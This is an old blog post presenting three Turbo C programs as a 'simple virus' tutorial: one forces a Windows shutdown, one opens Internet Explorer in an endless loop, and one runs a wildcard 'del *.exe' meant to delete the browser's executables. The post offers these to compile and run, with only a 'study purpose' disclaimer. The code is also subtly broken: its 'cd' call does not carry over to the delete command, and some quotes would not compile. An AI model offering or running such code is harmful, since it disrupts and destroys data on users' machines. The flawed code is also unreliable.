Wednesday, August 11, 2010

Create simple virus by c programming lang.

Create simple virus by c programming language.
(Only for study purpose)
(1) Write c program which shutdown the window operating system?
Answer:
Step 1: Write the following program in TURBO C.
void main (void){
    system("shutdown -s");
}
Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will shutdown.
(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?
Answer:
Step 1: Write the following program in TURBO C.
void main (void)
{
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
}
Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)
(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?
Answer:
Step 1: Write the following program in TURBO C.
void main(void)
{
system("cd c:\\progra~1\\intern~1");
system(“del *.exe”);
system(“cls”);
}
Step 2: Save the above file. Let file name is delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (delete.exe)

No comments:

Post a Comment